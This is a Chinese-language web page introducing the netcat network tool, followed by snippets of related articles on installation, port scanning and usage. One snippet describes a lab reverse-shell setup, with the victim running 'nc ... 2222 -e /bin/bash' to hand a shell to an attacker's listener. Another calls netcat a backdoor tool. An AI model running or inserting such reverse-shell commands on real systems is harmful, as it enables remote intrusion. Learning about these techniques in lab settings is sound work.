netcat

netcat是一个用于TCP/UDP链接和监听的linux工具。是一个功能丰富的网络调试和开发工具,也可以自由组织报文进行测试。

netcat最简单的使用方法是作为TCP客户/服务器模型的服务器来使用,能够监听任意指定的端口,并将客户端的请求内容输出到标准输出中,还可以将输入发送到客户端。

netcat -l 8080

现在netcat将在8080端口监听来接收客户端的连接。

netcat的工作原理就是从网络的一端读入数据,然后输出到网络的另一端,它可以使用TCP或UDP协议。名字起源于cat,cat软件的功能是读出文件的内容,然后将文件内容输出到屏幕上。加上net,就是它可以从文件或网络的一端读取数据,原封不动地将数据发送到另外一台主机或文件中。netcat缩写为nc。

时间: 2024-11-09 00:02:37

netcat的相关文章

CentOS6.5下netcat工具安装教程

1.下载下载地址:http://sourceforge.net/projects/netcat/files/netcat/0.7.1/下载的是netcat-0.7.1.tar.gz版本 2.拷贝用U盘拷贝到/home/Hadoop目录下进行解压:cd /home/hadoop tar -zxvf netcat-0.7.1.tar.gz -C /usr/local改名:cd /usr/localmv netcat-0.7.1 netcat 3.安装切换目录:cd /usr/local/netcat

Linux Netcat命令

一.简介 netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据.netcat所做的就是在两台电脑之间建立链接并返回两个数据流,通过与其他工具结合和重定向,你可以在脚本中以多种方式使用,你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端. 二.安装 1)yum安装 yum install -y netcat 2)源码安装 wget http://ncu.dl.sourceforge.net/project/netcat/netcat/0.7.

NetCat教程

NetCat by Jian Lee 简介 使用 隐藏命令行参数 正/反向域名解析 参数详解 案例 监听端口(制作蜜罐) 端口扫描 ftp 服务器 两台服务器文件校验 使用注意 简介 使用 最简单的使用: ”nc 主机名/IP 端口号/服务名",只要甲主机打开了端口(任何对外服务的端口),乙主机就可以使用nc命令连接这个端口.比如nmap查看到172.16.70.140开了22端口,通常这是sshd的服务端口,我们nc上去看看: # nc 172.16.70.140 22 SSH-2.0-Ope

Linux Netcat command – The swiss army knife of net

Swiss Army Knife of networking netcat is a versatile tool that is able to read and write data across TCP and UDP network . Combined with other tools and redirection it can be used in number of ways in your scripts. You will be surprised to see what y

网络工具的瑞士军刀netcat

这是一个聒噪的夜晚,如果要给出个原因,可能是因为虽然我觉得西班牙不纯粹,但是怎么也不至于干为人家搭台面自己不唱戏的角色吧..结束以后,我觉得该玩一下素有网络瑞士军刀之称谓的netcat了.虽然瑞士军刀和netcat除了在小而精方面之外并没有必然的联系,但是我还是想扯一通我所了解的瑞士,博客嘛,不是论文,不是测试报告,发散一点没有问题,并且,我觉得将来,跨界将是一个必然的趋势,拥有跨界的能力也是一个必然的优势.       瑞士是一个没有历史的国家,它完全就是1848年的政治妥协的结果,这也说明了

Linux netcat/nc 网络利器!

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据.通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它.使用netcat命令所能完成的事情令人惊讶. netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了.你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端. netcat 官网 http://netcat.sourceforge.net/ nc经常用来调试网络程序,  其实这个小工具结合创

Linux Netcat 命令

netcat用于调试和检查网络,能通过TCP和UDP在网络中读写数据.netcat是在两台电脑之间建立链接并返回两个数据流,可以建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端. 0x01.端口扫描 ncat-v -n 192.168.1.1 80 -v:显示详细信息 -n:使用纯数字ip地址,不用DNS来解析ip地址 -w 1 :设置超时时间为1 -u:扫描UDP端口,默认TCP -z:使用0IO,连接成功后立即关闭连接, 不进行数据交换 -l:连接和收听到来的

Netcat使用方法

netcat被誉为网络安全界的‘瑞士军刀',相信没有什么人不认识它吧......   一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据.它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动.同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几 乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法).   在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由‘红与黑'编译 后的新‘浓缩'版

NC / Netcat - 反弹Shell

原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>nc -l -p 2222 受害机:反弹/bin/bash 到攻击机(192.168.12.109)的2222端口 [email protected]:~# nc 192.168.12.109 2222 -e /bin/bash 反弹shell成功后即可在windows的cmd.exe下执行Linux下的/

netcat/nc

netcat或者是nc工具被称为网络上的瑞士军刀,因此netcat也有各个版本出现在各个系统中,而在Centos 7 开始netcat也被整合到namp项目中.当然如果是开源系统中,如Ubuntu或Linux系统中则可以通过apt或yum来进行安装,在DOS系统下可以通过下载nc for windows获取到二进制版的netcat.因为netcat工具实际上可以通过tcp.udp或者是socket等等的方式在两台主机之间建立链接,然后通过链接读取数据流,而在接收传输数据流的过程中可以任意发挥你的